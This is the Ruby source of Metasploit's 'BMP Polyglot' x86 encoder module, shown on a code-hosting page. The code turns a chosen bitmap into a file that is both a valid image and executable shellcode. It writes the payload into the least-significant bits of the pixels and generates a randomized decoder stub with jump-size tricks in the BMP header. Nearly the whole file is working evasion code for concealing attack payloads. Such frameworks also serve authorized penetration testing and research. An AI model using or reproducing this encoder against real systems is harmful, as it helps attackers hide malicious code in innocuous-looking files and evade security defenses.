Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/encoders/x86/bmp_polyglot.rb
Views: 18207
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/poly'6=begin7[BITS 32]89global _start1011_start:12pushad ; backup all registers1314call get_eip ; get the value of eip15get_eip:16pop esi ; and put it into esi to use as the source17add esi, 0x30 ; advance esi to skip this decoder stub18mov edi, esi ; copy it to edi which is where to start writing19add esi, 0x1234 ; increase the source to skip any padding20mov ecx, 0x1234 ; set the byte counter2122get_byte: ; <---------------------------------------------------------\23xor eax, eax ; clear eax which is where our newly decoded byte will go |24push ecx ; preserve the byte counter |25xor ecx, ecx ; set the counter to 0 |26mov cl, 8 ; set the counter to 8 (for bits) |27get_bit: ; <------------------------------------------------------\ |28shl eax, 1 ; shift eax one to make room for the next bit | |29mov bl, byte [esi] ; read a byte from the source register | |30inc esi ; advance the source register by a byte | |31and bl, 1 ; extract the value of the least-significant bit | |32or al, bl ; put the least-significat bit into eax | |33dec ecx ; decrement the bit counter | |34jne short get_bit ; -------------------------------------------------------/ |35; |36; get bit loop is done |37pop ecx ; restore the byte counter |38mov byte [edi], al ; move the newly decoded byte to its final destination |39inc edi ; increment the destination pointer |40; |41dec ecx ; decrement the byte counter |42jne get_byte ; ----------------------------------------------------------/4344; get byte loop is done45popad ; restore all registers4647=end4849# calculate the smallest increase of a 32-bit little endian integer which is50# also a valid x86 jmp opcode of the specified minimum size.51class SizeCalculator5253BYTE_NOPS = [540x42, # inc edx550x45, # inc ebp560x4a, # dec edx570x4d, # dec ebp580x90, # xchg eax, eax / nop590xf5, # cmc600xf8, # clc610xf9, # stc620xfc, # cld630xfd # std64]6566def initialize(size, minimum_jump)67@original_size = size68raise if minimum_jump < 0 || minimum_jump > 0xff6970@minimum_jump = minimum_jump71end7273def calculate74possibles = []75size = new_size_long76possibles << size unless size.nil?77size = new_size_short78possibles << size unless size.nil?79return if possibles.empty?8081possibles.min82end8384def new_size_long85size = [ @original_size ].pack('V').unpack('CCCC')86870.upto(2) do |i|88byte_0 = size[i]89byte_1 = size[i + 1]90byte_2 = size[i + 2].to_i91byte_3 = size[i + 3].to_i92byte_4 = size[i + 4].to_i93min_jmp = (@minimum_jump - 5 - i)9495if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large96if byte_0 > 0xfd97size = increment_size(size, i)98end99size[i] = round_up_to_nop(byte_0)100next101end102103if byte_0 > 0xe9104if byte_0 > 0xfd105size = increment_size(size, i)106end107size[i] = round_up_to_nop(byte_0)108else109size[i] = 0xe9110byte_1 = min_jmp if byte_1 < min_jmp111size[i + 1] = byte_1112return size.pack('CCCC').unpack('V')[0]113end114end115end116117def new_size_short118return if @minimum_jump > 0x81 # short won't make it in this case (0x7f + 0.upto(2).to_a.max)119120size = [ @original_size ].pack('V').unpack('CCCC')1211220.upto(2) do |i|123byte_0 = size[i]124byte_1 = size[i + 1]125min_jmp = (@minimum_jump - 2 - i)126127if byte_0 > 0xeb128if byte_0 > 0xfd129size = increment_size(size, i)130end131size[i] = round_up_to_nop(byte_0)132else133size[i] = 0xeb134if byte_1 > 0x7f135byte_1 = min_jmp136size = increment_size(size, i + 1)137elsif byte_1 < min_jmp138byte_1 = min_jmp139end140size[i + 1] = byte_1141return size.pack('CCCC').unpack('V')[0]142end143end144end145146def size_to_jmp(size)147jmp = 0148packed = [ size, 0 ].pack('VV')149150until [ "\xe9", "\xeb" ].include?(packed[0])151packed = packed[1..]152jmp += 1153end154155if packed[0] == "\xe9"156jmp += packed[1..4].unpack('V')[0]157jmp += 5158elsif packed[0] == "\xeb"159jmp += packed[1].unpack('C')[0]160jmp += 2161end162163jmp164end165166private167168def increment_size(size, byte)169size = size.pack('CCCC').unpack('V')[0]170size += (0x0100 << byte * 8)171[ size ].pack('V').unpack('CCCC')172end173174def round_up_to_nop(opcode)175BYTE_NOPS.find { |nop| opcode <= nop }176end177end178179class MetasploitModule < Msf::Encoder180Rank = ManualRanking181182DESTEGO_STUB_SIZE = 53183# bitmap header sizes184BM_HEADER_SIZE = 14185DIB_HEADER_SIZE = 40186187def initialize188super(189'Name' => 'BMP Polyglot',190'Description' => %q{191Encodes a payload in such a way that the resulting binary blob is both192valid x86 shellcode and a valid bitmap image file (.bmp). The selected193bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header194and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file195must use either 24 or 32 bits per pixel as the color depth and no196compression. This encoder makes absolutely no effort to remove any197invalid characters.198},199'Author' => 'Spencer McIntyre',200'Arch' => ARCH_X86,201'License' => MSF_LICENSE,202'References' => [203[ 'URL' => 'https://warroom.securestate.com/bmp-x86-polyglot/' ]204]205)206207register_options(208[209OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ])210]211)212end213214def can_preserve_registers?215true216end217218def preserves_stack?219true220end221222def make_pad(size)223(0...size).map { rand(0x100).chr }.join224end225226def modified_registers227# these two registers are modified by the initial BM header228# B 0x42 inc edx229# M 0x4d dec ebp230[231Rex::Arch::X86::EBP, Rex::Arch::X86::EDX232]233end234235# take the original size and calculate a new one that meets the following236# requirements:237# - large enough to store all of the image data and the assembly stub238# - is also a valid x86 jmp instruction to land on the assembly stub239def calc_new_size(orig_size, stub_length)240minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2 # -2 for the offset of the size in the BM header241calc = SizeCalculator.new(orig_size + stub_length, minimum_jump)242size = calc.calculate.to_i243raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size244245jump = calc.size_to_jmp(size)246pre_pad = jump - minimum_jump247post_pad = size - orig_size - stub_length - pre_pad248return { new_size: size, post_pad: post_pad, pre_pad: pre_pad }249end250251# calculate the least number of bits that must be modified to place the252# shellcode buffer into the image data253def calc_required_lsbs(sc_len, data_len)254return 1 if sc_len * 8 <= data_len255return 2 if sc_len * 4 <= data_len256return 4 if sc_len * 2 <= data_len257258raise EncodingError, 'Bad .bmp, not enough image data for stego operation'259end260261# asm stub that will extract the payload from the least significant bits of262# the binary data which directly follows it263def make_destego_stub(shellcode_size, padding, lsbs = 1)264raise 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs)265266gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle267ptr_regs = [ 'edi', 'esi' ].shuffle268# declare logical registers269dst_addr_reg = Rex::Poly::LogicalRegister::X86.new('dst_addr', ptr_regs.pop)270src_addr_reg = Rex::Poly::LogicalRegister::X86.new('src_addr', ptr_regs.pop)271ctr_reg = Rex::Poly::LogicalRegister::X86.new('ctr', gen_regs.pop)272byte_reg = Rex::Poly::LogicalRegister::X86.new('byte', gen_regs.pop)273bit_reg = Rex::Poly::LogicalRegister::X86.new('bit', gen_regs.pop)274275endb = Rex::Poly::SymbolicBlock::End.new276277get_eip_nop = proc { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr }278get_eip = proc do |e|279[280proc { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr },281proc { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr },282].sample.call(e)283end284set_src_addr = proc { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') }285set_dst_addr = proc { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }286set_byte_ctr = proc { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') }287adjust_src_addr = proc { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') }288initialize = Rex::Poly::LogicalBlock.new('initialize',289proc { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) },290proc { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) },291proc { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) },292proc { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) },293proc { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) })294295clr_byte_reg = proc { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr }296clr_ctr = proc { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr }297backup_byte_ctr = proc { |b| (0x50 + b.regnum_of(ctr_reg)).chr }298set_bit_ctr = proc { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr }299get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop',300proc { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },301proc { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },302proc { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) },303proc { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) })304get_byte_loop.depends_on(initialize)305306shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg',307proc { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr })308read_byte = Rex::Poly::LogicalBlock.new('read_byte',309proc { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr })310inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg',311proc { |b| (0x40 + b.regnum_of(src_addr_reg)).chr })312inc_src_reg.depends_on(read_byte)313get_lsb = Rex::Poly::LogicalBlock.new('get_lsb',314proc { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr })315get_lsb.depends_on(read_byte)316put_lsb = Rex::Poly::LogicalBlock.new('put_lsb',317proc { |b| "\x08" + (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr })318put_lsb.depends_on(get_lsb, shift_byte_reg)319jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body')320jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg)321322jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop',323proc { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr })324jmp_bit_loop.depends_on(jmp_bit_loop_body)325326get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ]))327get_bit_loop.depends_on(get_byte_loop)328329put_byte = proc { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }330inc_dst_reg = proc { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr }331restore_byte_ctr = proc { |b| (0x58 + b.regnum_of(ctr_reg)).chr }332get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post',333proc { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) },334proc { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) },335proc { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) })336get_byte_post.depends_on(get_bit_loop)337338jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body',339proc { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr })340jmp_byte_loop_body.depends_on(get_byte_post)341342finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61")343finalize.depends_on(jmp_byte_loop_body)344345return finalize.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])346end347348def stegoify(shellcode, data, lsbs = 1)349clr_mask = ((0xff << lsbs) & 0xff)350set_mask = clr_mask ^ 0xff351iter_count = 8 / lsbs352353shellcode.each_char.with_index do |sc_byte, index|354sc_byte = sc_byte.ord3550.upto(iter_count - 1) do |bit_pos|356data_pos = (index * (8 / lsbs)) + bit_pos357shift = 8 - (lsbs * (bit_pos + 1))358359d_byte = data[data_pos].ord360d_byte &= clr_mask361d_byte |= ((sc_byte & (set_mask << shift)) >> shift)362data[data_pos] = d_byte.chr363end364end365366data367end368369def validate_dib_header(dib_header)370size, _, _, _, bbp, compression, *_rest = dib_header.unpack('VVVvvVVVVVV')371raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE372raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32373raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0374end375376def encode(buf, _badchars = nil, _state = nil, _platform = nil)377in_bmp = File.open(datastore['BitmapFile'], 'rb')378379header = in_bmp.read(BM_HEADER_SIZE)380dib_header = in_bmp.read(DIB_HEADER_SIZE)381image_data = in_bmp.read382in_bmp.close383384header, original_size, _, _, original_offset = header.unpack('vVvvV')385raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42386387validate_dib_header(dib_header)388389lsbs = calc_required_lsbs(buf.length, image_data.length)390391details = calc_new_size(original_size, DESTEGO_STUB_SIZE)392destego_stub = make_destego_stub(buf.length, details[:post_pad], lsbs)393if destego_stub.length != DESTEGO_STUB_SIZE394# this is likely a coding error caused by updating the make_destego_stub395# method but not the DESTEGO_STUB_SIZE constant396raise EncodingError, 'Bad destego stub size'397end398399pre_image_data = make_pad(details[:pre_pad]) + destego_stub + make_pad(details[:post_pad])400new_offset = original_offset + pre_image_data.length401402bmp_img = ''403bmp_img << [0x4d42, details[:new_size], 0, 0, new_offset].pack('vVvvV')404bmp_img << dib_header405bmp_img << pre_image_data406bmp_img << stegoify(buf, image_data, lsbs)407bmp_img408end409end410411412